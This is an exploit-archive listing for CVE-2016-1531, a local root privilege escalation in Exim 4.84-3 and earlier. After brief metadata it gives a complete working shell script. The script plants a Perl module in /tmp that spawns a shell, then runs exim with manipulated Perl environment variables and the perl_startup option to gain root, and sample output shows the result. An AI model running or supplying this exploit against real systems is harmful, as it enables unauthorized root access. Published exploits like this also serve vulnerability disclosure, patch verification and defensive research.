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Exim 4.84-3 Local Root / Privilege Escalation

Exim 4.84-3 Local Root / Privilege Escalation
Posted Mar 8, 2016
Authored by Hacker Fantastic

Exim versions 4.84-3 and below suffer from a local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2016-1531
SHA-256 | 338e278d54bff0fcb3160902a0f4e6e04e509da47b831229d06ee56563a1ce5c

Exim 4.84-3 Local Root / Privilege Escalation

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#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps


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